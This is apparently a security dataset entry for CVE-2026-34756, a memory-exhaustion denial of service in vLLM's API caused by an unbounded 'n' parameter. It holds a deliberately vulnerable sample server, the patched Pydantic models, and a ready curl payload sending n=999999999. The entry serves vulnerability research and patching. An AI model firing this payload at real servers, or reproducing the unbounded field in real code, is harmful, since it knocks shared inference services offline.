CVE-2026-34756
vLLM API DoS: large 'n' parameter value causes Out-of-Memory crash.
- CVSS 6.5
- CWE-770
- Input Validation and Sanitization
- Remote
vLLM is an inference and serving engine for large language models (LLMs). From 0.1.0 to before 0.19.0, a Denial of Service vulnerability exists in the vLLM OpenAI-compatible API server. Due to the lack of an upper bound validation on the n parameter in the ChatCompletionRequest and CompletionRequest Pydantic models, an unauthenticated attacker can send a single HTTP request with an astronomically large n value. This completely blocks the Python asyncio event loop and causes immediate Out-Of-Memory crashes by allocating millions of request object copies in the heap before the request even reaches the scheduling queue. This vulnerability is fixed in 0.19.0.
- CWE
- CWE-770
- CVSS base score
- 6.5
- Published
- 2026-04-06
- OWASP
- A04 Insecure Design
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Input Validation and Sanitization
- Subcategory
- Resource Exhaustion
- Accessibility scope
- Remote
- Impact
- Denial of Service (DoS)
- Affected component
- vLLM
- Fixed by upgrading
- Yes
Solution
Upgrade to vLLM version 0.19.0 or later.
Vulnerable code sample
# This code is a representation of the vulnerable logic found in vLLM versions
# prior to 0.19.0, as described in CVE-2026-34756.
# It is a simplified, self-contained example using FastAPI to demonstrate
# how an unbounded 'n' parameter in a Pydantic model can lead to a DoS.
import asyncio
from typing import List, Dict, Optional, Union
from fastapi import FastAPI
from pydantic import BaseModel, Field
# --- Pydantic Models (Representation of vulnerable code in vllm/entrypoints/openai/protocol.py) ---
# In the vulnerable versions, the 'n' parameter lacked an upper-bound validation.
# A Pydantic Field validator like `Field(..., le=MAX_N)` was missing.
class ChatCompletionRequest(BaseModel):
model: str
messages: List[Dict[str, str]]
temperature: Optional[float] = 0.7
top_p: Optional[float] = 1.0
n: int = 1 # VULNERABLE: No upper bound on the number of completions to generate.
max_tokens: Optional[int] = 16
stream: Optional[bool] = False
class CompletionRequest(BaseModel):
model: str
prompt: Union[str, List[str]]
n: int = 1 # VULNERABLE: No upper bound on the number of completions to generate.
max_tokens: Optional[int] = 16
stream: Optional[bool] = False
# --- FastAPI Server (Representation of vulnerable logic in vllm/entrypoints/openai/api_server.py) ---
app = FastAPI()
@app.post("/v1/chat/completions")
async def create_chat_completion(request: ChatCompletionRequest):
"""
This endpoint simulates the vulnerable behavior.
Before the request is passed to the vLLM engine's scheduler,
the server prepares to handle `n` completions.
"""
# The vulnerability occurs here. The code attempts to create 'n'
# objects or perform 'n' operations based on the user-provided value.
# An astronomically large 'n' will cause the server to try and allocate
# a huge list, blocking the event loop and leading to an Out-Of-Memory crash.
# Simulate the pre-processing that creates multiple request objects.
# This list would contain internal request representations.
internal_requests_to_process = []
print(f"Received request to generate {request.n} completions.")
try:
# This loop is the immediate cause of the DoS.
# With a large `n` (e.g., 999999999), this loop will block everything
# and attempt to allocate an immense amount of memory.
for i in range(request.n):
# In the real code, this would create more complex internal objects.
# Even appending a simple dict demonstrates the memory exhaustion.
internal_requests_to_process.append({
"internal_id": i,
"prompt": request.messages,
"params": {
"temperature": request.temperature,
"top_p": request.top_p,
}
})
# To make the event-loop blocking more obvious, we can add a small sleep(0)
# which would yield control, but the sheer number of iterations prevents
# other coroutines from running. The main issue is memory allocation.
if i % 10000 == 0:
await asyncio.sleep(0)
except MemoryError:
# In a real scenario, the process would likely be killed by the OS
# before this exception could be gracefully handled.
print("FATAL: MemoryError caught. The server is likely unresponsive.")
# This return would likely never be reached.
return {"error": "Out of Memory"}
# This part of the code is never reached if 'n' is large.
print(f"Successfully prepared {len(internal_requests_to_process)} internal requests. Proceeding to scheduler.")
return {
"id": "chatcmpl-123",
"object": "chat.completion",
"created": 1677652288,
"model": request.model,
"choices": [{
"index": i,
"message": {
"role": "assistant",
"content": f"\n\nThis is a mock completion {i+1}.",
},
"finish_reason": "stop",
} for i in range(request.n)], # This would also be part of the problem.
"usage": {
"prompt_tokens": 0,
"completion_tokens": 0,
"total_tokens": 0,
},
}
# To run this example:
# 1. Install necessary packages: `pip install fastapi "uvicorn[standard]"`
# 2. Save the code as `vulnerable_server.py`
# 3. Run the server: `uvicorn vulnerable_server.py:app --host 0.0.0.0 --port 8000`
# 4. Send a malicious request:
# curl http://localhost:8000/v1/chat/completions -X POST -H "Content-Type: application/json" \
# -d '{"model": "test-model", "messages": [{"role": "user", "content": "Hello"}], "n": 999999999}'
#
# The server will immediately hang and its memory usage will skyrocket, leading to a crash.Patched code sample
import time
from typing import Any, Dict, List, Literal, Optional, Union
from pydantic import BaseModel, Field
# In a real-world scenario, this value would likely be sourced from a
# configuration file or environment variable that reflects the server's capacity.
# We define a constant here to represent the maximum allowed value for 'n'.
MAX_N_VALUE = 128
class CompletionRequest(BaseModel):
model: str
prompt: Union[str, List[str]]
suffix: Optional[str] = None
max_tokens: Optional[int] = 16
temperature: float = 1.0
top_p: float = 1.0
# The fix is applied here using Pydantic's Field validation.
# An upper bound (`le`) is added to the 'n' parameter, preventing
# clients from requesting an excessively large number of completions.
# The 'ge=1' (greater than or equal to 1) is also good practice.
n: int = Field(
default=1,
ge=1,
le=MAX_N_VALUE,
description=(
"Number of completions to generate for each prompt. "
f"The maximum allowed value is {MAX_N_VALUE}."
),
)
stream: bool = False
logprobs: Optional[int] = None
echo: bool = False
stop: Optional[Union[str, List[str]]] = None
presence_penalty: float = 0.0
frequency_penalty: float = 0.0
best_of: Optional[int] = None
logit_bias: Optional[Dict[str, float]] = None
user: Optional[str] = None
class ChatCompletionRequest(BaseModel):
model: str
messages: List[Dict[str, str]]
temperature: float = 1.0
top_p: float = 1.0
# The same fix is applied here for the ChatCompletion endpoint.
# The 'n' parameter is constrained with an upper bound (`le`).
n: int = Field(
default=1,
ge=1,
le=MAX_N_VALUE,
description=(
"Number of chat completions to generate for each "
f"input message. The maximum allowed value is {MAX_N_VALUE}."
),
)
max_tokens: Optional[int] = None
stop: Optional[Union[str, List[str]]] = None
stream: bool = False
presence_penalty: float = 0.0
frequency_penalty: float = 0.0
logit_bias: Optional[Dict[str, float]] = None
user: Optional[str] = NonePayload
curl -X POST http://<vllm-server-address>:<port>/v1/chat/completions \
-H "Content-Type: application/json" \
-d '{
"model": "meta-llama/Llama-2-7b-chat-hf",
"messages": [
{"role": "user", "content": "Exploit"}
],
"n": 999999999
}'
Cite this entry
@misc{vaitp:cve202634756,
title = {{vLLM API DoS: large 'n' parameter value causes Out-of-Memory crash.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-34756},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-34756/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
